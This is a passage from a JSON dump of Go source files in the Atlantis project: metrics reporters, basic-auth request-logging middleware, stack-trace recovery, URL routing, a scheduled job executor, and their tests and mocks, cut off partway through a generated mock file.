    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage metrics\n\nimport tally \"github.com/uber-go/tally/v4\"\n\nfunc InitCounter(scope tally.Scope, name string) {\n\ts := scope.Counter(name)\n\ts.Inc(0)\n}\n"
  },
  {
    "path": "server/metrics/counter_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage metrics\n\nimport (\n\t\"testing\"\n\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\nfunc TestInitCounter(t *testing.T) {\n\tscope := tally.NewTestScope(\"test\", nil)\n\n\tInitCounter(scope, \"counter\")\n\n\tcounter, ok := scope.Snapshot().Counters()[\"test.counter+\"]\n\tif !ok {\n\t\tt.Errorf(\"Counter not found\")\n\t}\n\tif counter.Value() != 0 {\n\t\tt.Errorf(\"Counter is not initialized\")\n\t}\n}\n"
  },
  {
    "path": "server/metrics/debug.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage metrics\n\nimport (\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\n// newLoggingReporter returns a tally reporter that logs to the provided logger at debug level. This is useful for\n// local development where the usual sinks are not available.\nfunc newLoggingReporter(logger logging.SimpleLogging) tally.StatsReporter {\n\treturn &debugReporter{log: logger}\n}\n\ntype debugReporter struct {\n\tlog logging.SimpleLogging\n}\n\n// Capabilities interface.\n\nfunc (r *debugReporter) Reporting() bool {\n\treturn true\n}\n\nfunc (r *debugReporter) Tagging() bool {\n\treturn true\n}\n\nfunc (r *debugReporter) Capabilities() tally.Capabilities {\n\treturn r\n}\n\n// Reporter interface.\n\nfunc (r *debugReporter) Flush() {\n\t// Silence.\n}\n\nfunc (r *debugReporter) ReportCounter(name string, tags map[string]string, value int64) {\n\tlog := r.log.With(\"name\", name, \"value\", value, \"tags\", tags, \"type\", \"counter\")\n\tlog.Debug(\"counter\")\n}\n\nfunc (r *debugReporter) ReportGauge(name string, tags map[string]string, value float64) {\n\tlog := r.log.With(\"name\", name, \"value\", value, \"tags\", tags, \"type\", \"gauge\")\n\tlog.Debug(\"gauge\")\n}\n\nfunc (r *debugReporter) ReportTimer(name string, tags map[string]string, interval time.Duration) {\n\tlog := r.log.With(\"name\", name, \"value\", interval, \"tags\", tags, \"type\", \"timer\")\n\tlog.Debug(\"timer\")\n}\n\nfunc (r *debugReporter) ReportHistogramValueSamples(\n\tname string,\n\ttags map[string]string,\n\tbuckets tally.Buckets,\n\tbucketLowerBound,\n\tbucketUpperBound float64,\n\tsamples int64,\n) {\n\tlog := r.log.With(\n\t\t\"name\", name,\n\t\t\"buckets\", buckets.AsValues(),\n\t\t\"bucketLowerBound\", bucketLowerBound,\n\t\t\"bucketUpperBound\", bucketUpperBound,\n\t\t\"samples\", samples,\n\t\t\"tags\", tags,\n\t\t\"type\", \"valueHistogram\",\n\t)\n\tlog.Debug(\"histogram\")\n}\n\nfunc (r *debugReporter) ReportHistogramDurationSamples(\n\tname string,\n\ttags map[string]string,\n\tbuckets tally.Buckets,\n\tbucketLowerBound,\n\tbucketUpperBound time.Duration,\n\tsamples int64,\n) {\n\tlog := r.log.With(\n\t\t\"name\", name,\n\t\t\"buckets\", buckets.AsValues(),\n\t\t\"bucketLowerBound\", bucketLowerBound,\n\t\t\"bucketUpperBound\", bucketUpperBound,\n\t\t\"samples\", samples,\n\t\t\"tags\", tags,\n\t\t\"type\", \"durationHistogram\",\n\t)\n\tlog.Debug(\"histogram\")\n}\n"
  },
  {
    "path": "server/metrics/metricstest/scope.go",
    "content": "package metricstest\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\nfunc NewLoggingScope(t *testing.T, logger logging.SimpleLogging, statsNamespace string) tally.Scope {\n\tt.Helper()\n\tscope, closer, err := metrics.NewLoggingScope(logger, \"atlantis\")\n\tif err != nil {\n\t\tt.Fatalf(\"failed to create metrics logging scope: %v\", err)\n\t}\n\tt.Cleanup(func() {\n\t\tcloser.Close()\n\t})\n\treturn scope\n}\n"
  },
  {
    "path": "server/metrics/scope.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage metrics\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cactus/go-statsd-client/v5/statsd\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\ttally \"github.com/uber-go/tally/v4\"\n\ttallyprom \"github.com/uber-go/tally/v4/prometheus\"\n\ttallystatsd \"github.com/uber-go/tally/v4/statsd\"\n)\n\nfunc NewLoggingScope(logger logging.SimpleLogging, statsNamespace string) (tally.Scope, io.Closer, error) {\n\tscope, _, closer, err := NewScope(valid.Metrics{}, logger, statsNamespace)\n\treturn scope, closer, err\n}\n\nfunc NewScope(cfg valid.Metrics, logger logging.SimpleLogging, statsNamespace string) (tally.Scope, tally.BaseStatsReporter, io.Closer, error) {\n\treporter, err := newReporter(cfg, logger)\n\n\tif err != nil {\n\t\treturn nil, nil, nil, fmt.Errorf(\"initializing stats reporter: %w\", err)\n\t}\n\n\tscopeOpts := tally.ScopeOptions{\n\t\tPrefix:          statsNamespace,\n\t\tSanitizeOptions: &tallyprom.DefaultSanitizerOpts,\n\t}\n\n\tif r, ok := reporter.(tally.StatsReporter); ok {\n\t\tscopeOpts.Reporter = r\n\t} else if r, ok := reporter.(tally.CachedStatsReporter); ok {\n\t\tscopeOpts.CachedReporter = r\n\t\tscopeOpts.Separator = tallyprom.DefaultSeparator\n\t}\n\n\tscope, closer := tally.NewRootScope(scopeOpts, time.Second)\n\treturn scope, reporter, closer, nil\n}\n\nfunc newReporter(cfg valid.Metrics, logger logging.SimpleLogging) (tally.BaseStatsReporter, error) {\n\n\t// return statsd metrics if configured\n\tif cfg.Statsd != nil {\n\t\treturn newStatsReporter(cfg)\n\t}\n\n\t// return prometheus metrics if configured\n\tif cfg.Prometheus != nil {\n\t\treturn tallyprom.NewReporter(tallyprom.Options{}), nil\n\t}\n\n\t// return logging reporter and proceed\n\treturn newLoggingReporter(logger), nil\n\n}\n\nfunc newStatsReporter(cfg valid.Metrics) (tally.StatsReporter, error) {\n\n\tstatsdCfg := cfg.Statsd\n\n\tclient, err := statsd.NewClientWithConfig(&statsd.ClientConfig{\n\t\tAddress: strings.Join([]string{statsdCfg.Host, statsdCfg.Port}, \":\"),\n\t})\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"initializing statsd client: %w\", err)\n\t}\n\n\treturn tallystatsd.NewReporter(client, tallystatsd.Options{}), nil\n}\n"
  },
  {
    "path": "server/metrics/scope_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage metrics_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n)\n\nvar (\n\tprometheusConfig = valid.Metrics{\n\t\tPrometheus: &valid.Prometheus{\n\t\t\tEndpoint: \"/metrics\",\n\t\t},\n\t}\n)\n\nfunc TestNewScope_PrometheusTaggingCapabilities(t *testing.T) {\n\tscope, _, _, err := metrics.NewScope(prometheusConfig, nil, \"test\")\n\tif err != nil {\n\t\tt.Fatalf(\"got an error: %s\", err.Error())\n\t}\n\n\tscope.Tagged(map[string]string{\n\t\t\"base_repo\": \"runatlantis/atlantis\",\n\t\t\"pr_number\": \"2687\",\n\t})\n\n\twant := true\n\tgot := scope.Capabilities().Tagging()\n\tif want != got {\n\t\tt.Errorf(\"Scope does not have Capability to do Tagging\")\n\t}\n}\n"
  },
  {
    "path": "server/middleware.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage server\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/urfave/negroni/v3\"\n)\n\n// NewRequestLogger creates a RequestLogger.\nfunc NewRequestLogger(s *Server) *RequestLogger {\n\treturn &RequestLogger{\n\t\ts.Logger,\n\t\ts.WebAuthentication,\n\t\ts.WebUsername,\n\t\ts.WebPassword,\n\t}\n}\n\n// RequestLogger logs requests and their response codes.\n// as well as handle the basicauth on the requests\ntype RequestLogger struct {\n\tlogger            logging.SimpleLogging\n\tWebAuthentication bool\n\tWebUsername       string\n\tWebPassword       string\n}\n\n// ServeHTTP implements the middleware function. It logs all requests at DEBUG level.\nfunc (l *RequestLogger) ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) {\n\tl.logger.Debug(\"%s %s – from %s\", r.Method, r.URL.RequestURI(), r.RemoteAddr)\n\tallowed := false\n\tif !l.WebAuthentication ||\n\t\tr.URL.Path == \"/events\" ||\n\t\tr.URL.Path == \"/healthz\" ||\n\t\tr.URL.Path == \"/status\" ||\n\t\tstrings.HasPrefix(r.URL.Path, \"/api/\") {\n\t\tallowed = true\n\t} else {\n\t\tuser, pass, ok := r.BasicAuth()\n\t\tif ok {\n\t\t\tr.SetBasicAuth(user, pass)\n\t\t\tif user == l.WebUsername && pass == l.WebPassword {\n\t\t\t\tl.logger.Debug(\"[VALID] log in: >> url: %s\", r.URL.RequestURI())\n\t\t\t\tallowed = true\n\t\t\t} else {\n\t\t\t\tallowed = false\n\t\t\t\tl.logger.Info(\"[INVALID] log in attempt: >> url: %s\", r.URL.RequestURI())\n\t\t\t}\n\t\t}\n\t}\n\tif !allowed {\n\t\trw.Header().Set(\"WWW-Authenticate\", `Basic realm=\"restricted\", charset=\"UTF-8\"`)\n\t\thttp.Error(rw, \"Unauthorized\", http.StatusUnauthorized)\n\t} else {\n\t\tnext(rw, r)\n\t}\n\tl.logger.Debug(\"%s %s – respond HTTP %d\", r.Method, r.URL.RequestURI(), rw.(negroni.ResponseWriter).Status())\n}\n"
  },
  {
    "path": "server/recovery/recovery.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package recovery is taken from\n// https://github.com/gin-gonic/gin/blob/master/recovery.go\n// License of source below:\n// Copyright 2014 Manu Martinez-Almeida.  All rights reserved.\n// Use of this source code is governed by a MIT style\n// license that can be found in the LICENSE file.\npackage recovery\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"runtime\"\n)\n\nvar (\n\tdunno     = []byte(\"???\")\n\tcenterDot = []byte(\"·\")\n\tdot       = []byte(\".\")\n\tslash     = []byte(\"/\")\n)\n\n// Stack returns a nicely formatted stack frame, skipping skip frames.\nfunc Stack(skip int) []byte {\n\tbuf := new(bytes.Buffer) // the returned data\n\t// As we loop, we open files and read them. These variables record the currently\n\t// loaded file.\n\tvar lines [][]byte\n\tvar lastFile string\n\tfor i := skip; ; i++ { // Skip the expected number of frames\n\t\tpc, file, line, ok := runtime.Caller(i)\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\t// Print this much at least.  If we can't find the source, it won't show.\n\t\tfmt.Fprintf(buf, \"%s:%d (0x%x)\\n\", file, line, pc)\n\t\tif file != lastFile {\n\t\t\tdata, err := os.ReadFile(file) // nolint: gosec\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlines = bytes.Split(data, []byte{'\\n'})\n\t\t\tlastFile = file\n\t\t}\n\t\tfmt.Fprintf(buf, \"\\t%s: %s\\n\", function(pc), source(lines, line))\n\t}\n\treturn buf.Bytes()\n}\n\n// source returns a space-trimmed slice of the n'th line.\nfunc source(lines [][]byte, n int) []byte {\n\tn-- // in stack trace, lines are 1-indexed but our array is 0-indexed\n\tif n < 0 || n >= len(lines) {\n\t\treturn dunno\n\t}\n\treturn bytes.TrimSpace(lines[n])\n}\n\n// function returns, if possible, the name of the function containing the PC.\nfunc function(pc uintptr) []byte {\n\tfn := runtime.FuncForPC(pc)\n\tif fn == nil {\n\t\treturn dunno\n\t}\n\tname := []byte(fn.Name())\n\t// The name includes the path name to the package, which is unnecessary\n\t// since the file name is already included.  Plus, it has center dots.\n\t// That is, we see\n\t//\truntime/debug.*T·ptrmethod\n\t// and want\n\t//\t*T.ptrmethod\n\t// Also the package path might contains dot (e.g. code.google.com/...),\n\t// so first eliminate the path prefix\n\tif lastslash := bytes.LastIndex(name, slash); lastslash >= 0 {\n\t\tname = name[lastslash+1:]\n\t}\n\tif period := bytes.Index(name, dot); period >= 0 {\n\t\tname = name[period+1:]\n\t}\n\tname = bytes.ReplaceAll(name, centerDot, dot)\n\treturn name\n}\n"
  },
  {
    "path": "server/recovery/recovery_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage recovery_test\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/recovery\"\n)\n\nfunc TestStack(t *testing.T) {\n\ttests := []struct {\n\t\tskip           int\n\t\texpContains    []string\n\t\texpNotContains []string\n\t}{\n\t\t{\n\t\t\tskip: 0,\n\t\t\texpContains: []string{\n\t\t\t\t\"runtime.Caller(i)\",\n\t\t\t\t\"TestStack.func1.1: return string(recovery.Stack(tt.skip))\",\n\t\t\t\t\"recoveryTestFunc2: return f()\",\n\t\t\t\t\"recoveryTestFunc1: return recoveryTestFunc2(f)\",\n\t\t\t},\n\t\t\texpNotContains: []string{},\n\t\t},\n\t\t{\n\t\t\tskip: 1,\n\t\t\texpContains: []string{\n\t\t\t\t\"TestStack.func1.1: return string(recovery.Stack(tt.skip))\",\n\t\t\t\t\"recoveryTestFunc2: return f()\",\n\t\t\t\t\"recoveryTestFunc1: return recoveryTestFunc2(f)\",\n\t\t\t},\n\t\t\texpNotContains: []string{\n\t\t\t\t\"runtime.Caller(i)\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tskip: 2,\n\t\t\texpContains: []string{\n\t\t\t\t\"recoveryTestFunc2: return f()\",\n\t\t\t\t\"recoveryTestFunc1: return recoveryTestFunc2(f)\",\n\t\t\t},\n\t\t\texpNotContains: []string{\n\t\t\t\t\"runtime.Caller(i)\",\n\t\t\t\t\"TestStack.func1.1: return string(recovery.Stack(tt.skip))\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tskip: 3,\n\t\t\texpContains: []string{\n\t\t\t\t\"recoveryTestFunc1: return recoveryTestFunc2(f)\",\n\t\t\t},\n\t\t\texpNotContains: []string{\n\t\t\t\t\"runtime.Caller(i)\",\n\t\t\t\t\"TestStack.func1.1: return string(recovery.Stack(tt.skip))\",\n\t\t\t\t\"recoveryTestFunc2: return f()\",\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"skip %d\", tt.skip), func(t *testing.T) {\n\t\t\tgot := recoveryTestFunc1(func() string {\n\t\t\t\treturn string(recovery.Stack(tt.skip))\n\t\t\t})\n\t\t\tfor _, contain := range tt.expContains {\n\t\t\t\tif !strings.Contains(got, contain) {\n\t\t\t\t\tt.Fatalf(\"expected stack to contain %q but got:\\n%s\", contain, got)\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor _, notContain := range tt.expNotContains {\n\t\t\t\tif strings.Contains(got, notContain) {\n\t\t\t\t\tt.Fatalf(\"expected stack to not contain %q but got:\\n%s\", notContain, got)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc recoveryTestFunc1(f func() string) string {\n\treturn recoveryTestFunc2(f)\n}\n\nfunc recoveryTestFunc2(f func() string) string {\n\treturn f()\n}\n"
  },
  {
    "path": "server/router.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage server\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n// Router can be used to retrieve Atlantis URLs. It acts as an intermediary\n// between the underlying router and the rest of Atlantis that might need to\n// construct URLs to different resources.\ntype Router struct {\n\t// Underlying is the router that the routes have been constructed on.\n\tUnderlying *mux.Router\n\t// LockViewRouteName is the named route for the lock view that can be Get'd\n\t// from the Underlying router.\n\tLockViewRouteName string\n\t// ProjectJobsViewRouteName is the named route for the projects active jobs\n\tProjectJobsViewRouteName string\n\t// LockViewRouteIDQueryParam is the query parameter needed to construct the\n\t// lock view: underlying.Get(LockViewRouteName).URL(LockViewRouteIDQueryParam, \"my id\").\n\tLockViewRouteIDQueryParam string\n\t// AtlantisURL is the fully qualified URL that Atlantis is\n\t// accessible from externally.\n\tAtlantisURL *url.URL\n}\n\n// GenerateLockURL returns a fully qualified URL to view the lock at lockID.\nfunc (r *Router) GenerateLockURL(lockID string) string {\n\tlockURL, _ := r.Underlying.Get(r.LockViewRouteName).URL(r.LockViewRouteIDQueryParam, url.QueryEscape(lockID))\n\t// At this point, lockURL will just be a path because r.Underlying isn't\n\t// configured with host or scheme information. So to generate the fully\n\t// qualified LockURL we just append the router's url to our base url.\n\t// We're not doing anything fancy here with the actual url object because\n\t// golang likes to double escape the lockURL path when using url.Parse().\n\treturn r.AtlantisURL.String() + lockURL.String()\n}\n\nfunc (r *Router) GenerateProjectJobURL(ctx command.ProjectContext) (string, error) {\n\tif ctx.JobID == \"\" {\n\t\treturn \"\", fmt.Errorf(\"no job id in ctx\")\n\t}\n\tjobURL, err := r.Underlying.Get((r.ProjectJobsViewRouteName)).URL(\n\t\t\"job-id\", ctx.JobID,\n\t)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"creating job url for %s: %w\", ctx.JobID, err)\n\t}\n\n\treturn r.AtlantisURL.String() + jobURL.String(), nil\n}\n\nfunc (r *Router) GenerateProjectWorkflowHookURL(hookID string) (string, error) {\n\tjobURL, err := r.Underlying.Get((r.ProjectJobsViewRouteName)).URL(\n\t\t\"job-id\", hookID,\n\t)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"creating workflow hook url for %s: %w\", hookID, err)\n\t}\n\n\treturn r.AtlantisURL.String() + jobURL.String(), nil\n}\n"
  },
  {
    "path": "server/router_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage server_test\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/google/uuid\"\n\t\"github.com/gorilla/mux\"\n\t\"github.com/runatlantis/atlantis/server\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRouter_GenerateLockURL(t *testing.T) {\n\tcases := []struct {\n\t\tAtlantisURL string\n\t\tExpURL      string\n\t}{\n\t\t{\n\t\t\t\"http://localhost:4141\",\n\t\t\t\"http://localhost:4141/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault\",\n\t\t},\n\t\t{\n\t\t\t\"https://localhost:4141\",\n\t\t\t\"https://localhost:4141/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault\",\n\t\t},\n\t\t{\n\t\t\t\"https://localhost:4141/\",\n\t\t\t\"https://localhost:4141/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault\",\n\t\t},\n\t\t{\n\t\t\t\"https://example.com/basepath\",\n\t\t\t\"https://example.com/basepath/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault\",\n\t\t},\n\t\t{\n\t\t\t\"https://example.com/basepath/\",\n\t\t\t\"https://example.com/basepath/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault\",\n\t\t},\n\t\t{\n\t\t\t\"https://example.com/path/1/\",\n\t\t\t\"https://example.com/path/1/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault\",\n\t\t},\n\t}\n\n\tqueryParam := \"id\"\n\trouteName := \"routename\"\n\tunderlyingRouter := mux.NewRouter()\n\tunderlyingRouter.HandleFunc(\"/lock\", func(_ http.ResponseWriter, _ *http.Request) {}).Methods(\"GET\").Queries(queryParam, \"{id}\").Name(routeName)\n\n\tfor _, c := range cases {\n\t\tt.Run(c.AtlantisURL, func(t *testing.T) {\n\t\t\tatlantisURL, err := server.ParseAtlantisURL(c.AtlantisURL)\n\t\t\tOk(t, err)\n\n\t\t\trouter := &server.Router{\n\t\t\t\tAtlantisURL:               atlantisURL,\n\t\t\t\tLockViewRouteIDQueryParam: queryParam,\n\t\t\t\tLockViewRouteName:         routeName,\n\t\t\t\tUnderlying:                underlyingRouter,\n\t\t\t}\n\t\t\tEquals(t, c.ExpURL, router.GenerateLockURL(\"lkysow/atlantis-example/./default\"))\n\t\t})\n\t}\n}\n\nfunc setupJobsRouter(t *testing.T) *server.Router {\n\tatlantisURL, err := server.ParseAtlantisURL(\"http://localhost:4141\")\n\tOk(t, err)\n\n\tunderlyingRouter := mux.NewRouter()\n\tunderlyingRouter.HandleFunc(\"/jobs/{job-id}\", func(_ http.ResponseWriter, _ *http.Request) {}).Methods(\"GET\").Name(\"project-jobs-detail\")\n\n\treturn &server.Router{\n\t\tAtlantisURL:              atlantisURL,\n\t\tUnderlying:               underlyingRouter,\n\t\tProjectJobsViewRouteName: \"project-jobs-detail\",\n\t}\n}\n\nfunc TestGenerateProjectJobURL_ShouldGenerateURLWhenJobIDSpecified(t *testing.T) {\n\trouter := setupJobsRouter(t)\n\tjobID := uuid.New().String()\n\tctx := command.ProjectContext{\n\t\tJobID: jobID,\n\t}\n\texpectedURL := fmt.Sprintf(\"http://localhost:4141/jobs/%s\", jobID)\n\tgotURL, err := router.GenerateProjectJobURL(ctx)\n\tOk(t, err)\n\n\tEquals(t, expectedURL, gotURL)\n}\n\nfunc TestGenerateProjectJobURL_ShouldReturnErrorWhenJobIDNotSpecified(t *testing.T) {\n\trouter := setupJobsRouter(t)\n\tctx := command.ProjectContext{\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tOwner: \"test-owner\",\n\t\t\t\tName:  \"test-repo\",\n\t\t\t},\n\t\t\tNum: 1,\n\t\t},\n\t\tRepoRelDir: \"ops/terraform/\",\n\t}\n\texpectedErrString := \"no job id in ctx\"\n\tgotURL, err := router.GenerateProjectJobURL(ctx)\n\trequire.EqualError(t, err, expectedErrString)\n\tEquals(t, \"\", gotURL)\n}\n"
  },
  {
    "path": "server/scheduled/executor_service.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage scheduled\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"os/signal\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\ntype ExecutorService struct {\n\tlog logging.SimpleLogging\n\n\t// jobs\n\tjobs []JobDefinition\n}\n\nfunc NewExecutorService(\n\tstatsScope tally.Scope,\n\tlog logging.SimpleLogging,\n) *ExecutorService {\n\n\tscheduledScope := statsScope.SubScope(\"scheduled\")\n\truntimeStatsPublisher := NewRuntimeStats(scheduledScope)\n\n\truntimeStatsPublisherJob := JobDefinition{\n\t\tJob:    runtimeStatsPublisher,\n\t\tPeriod: 10 * time.Second,\n\t}\n\n\treturn &ExecutorService{\n\t\tlog:  log,\n\t\tjobs: []JobDefinition{runtimeStatsPublisherJob},\n\t}\n}\n\nfunc (s *ExecutorService) AddJob(jd JobDefinition) {\n\ts.jobs = append(s.jobs, jd)\n}\n\ntype JobDefinition struct {\n\tJob    Job\n\tPeriod time.Duration\n}\n\nfunc (s *ExecutorService) Run() {\n\ts.log.Info(\"Scheduled Executor Service started\")\n\n\tctx, cancel := context.WithCancel(context.Background())\n\n\tvar wg sync.WaitGroup\n\n\tfor _, jd := range s.jobs {\n\t\ts.runScheduledJob(ctx, &wg, jd)\n\t}\n\n\tinterrupt := make(chan os.Signal, 1)\n\n\t// Stop on SIGINTs and SIGTERMs.\n\tsignal.Notify(interrupt, os.Interrupt, syscall.SIGTERM)\n\n\t<-interrupt\n\n\ts.log.Warn(\"Received interrupt. Attempting to Shut down scheduled executor service\")\n\n\tcancel()\n\twg.Wait()\n\n\ts.log.Warn(\"All jobs completed, exiting.\")\n}\n\nfunc (s *ExecutorService) runScheduledJob(ctx context.Context, wg *sync.WaitGroup, jd JobDefinition) {\n\tticker := time.NewTicker(jd.Period)\n\n\twg.Go(func() {\n\t\tdefer ticker.Stop()\n\n\t\t// Ensure we recover from any panics to keep the jobs isolated.\n\t\t// Keep the recovery outside the select to ensure that we don't infinitely panic.\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\ts.log.Err(\"Recovered from panic: %v\", r)\n\t\t\t}\n\t\t}()\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\ts.log.Warn(\"Received interrupt, cancelling job\")\n\t\t\t\treturn\n\t\t\tcase <-ticker.C:\n\t\t\t\tjd.Job.Run()\n\t\t\t}\n\t\t}\n\t})\n\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_executor_service_job.go Job\ntype Job interface {\n\tRun()\n}\n"
  },
  {
    "path": "server/scheduled/executor_service_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage scheduled\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/scheduled/mocks\"\n)\n\nfunc TestExecutorService_Run(t *testing.T) {\n\tpegomock.RegisterMockTestingT(t)\n\tmockJob := mocks.NewMockJob()\n\ttype fields struct {\n\t\tlog  logging.SimpleLogging\n\t\tjobs []JobDefinition\n\t}\n\ttests := []struct {\n\t\tname   string\n\t\tfields fields\n\t}{\n\t\t{\n\t\t\tname: \"test\",\n\t\t\tfields: fields{\n\t\t\t\tlog: logging.NewNoopLogger(t),\n\t\t\t\tjobs: []JobDefinition{\n\t\t\t\t\t{\n\t\t\t\t\t\tJob:    mockJob,\n\t\t\t\t\t\tPeriod: 1 * time.Second,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ts := &ExecutorService{\n\t\t\t\tlog:  tt.fields.log,\n\t\t\t\tjobs: make([]JobDefinition, 0),\n\t\t\t}\n\t\t\ts.AddJob(tt.fields.jobs[0])\n\t\t\tgo s.Run()\n\t\t\ttime.Sleep(1050 * time.Millisecond)\n\t\t\tmockJob.VerifyWasCalledOnce().Run()\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/scheduled/mocks/mock_executor_service_job.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/scheduled (interfaces: Job)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockJob struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockJob(options ...pegomock.Option) *MockJob {\n\tmock := &MockJob{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockJob) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockJob) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockJob) Run() {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockJob().\")\n\t}\n\t_params := []pegomock.Param{}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockJob) VerifyWasCalledOnce() *VerifierMockJob {\n\treturn &VerifierMockJob{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockJob) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJob {\n\treturn &VerifierMockJob{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: 